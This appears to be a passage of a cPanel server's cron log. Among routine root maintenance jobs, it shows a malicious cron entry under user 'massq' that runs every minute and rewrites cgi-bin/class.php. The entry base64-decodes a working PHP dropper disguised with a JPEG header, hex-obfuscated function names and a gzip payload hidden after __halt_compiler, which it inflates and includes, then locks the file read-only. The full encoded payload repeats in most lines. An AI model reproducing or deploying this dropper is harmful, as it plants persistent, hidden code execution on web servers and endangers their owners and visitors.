OyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:23:01 server CROND[11782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:24:01 server CROND[11947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:25:01 server CROND[11996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:25:01 server CROND[11997]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 08:25:01 server CROND[11998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:25:01 server CROND[12000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:26:01 server CROND[12165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:27:01 server CROND[12216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:27:01 server CROND[12217]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 08:28:01 server CROND[12278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:29:01 server CROND[12328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:30:01 server CROND[12393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 08:30:01 server CROND[12394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:30:01 server CROND[12399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:30:01 server CROND[12400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:30:01 server CROND[12398]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  9 08:31:01 server CROND[12611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:32:01 server CROND[12659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:33:01 server CROND[12724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:34:01 server CROND[12788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:35:01 server CROND[12850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:35:01 server CROND[12849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:35:01 server CROND[12851]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 08:35:01 server CROND[12854]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 08:35:01 server CROND[12856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
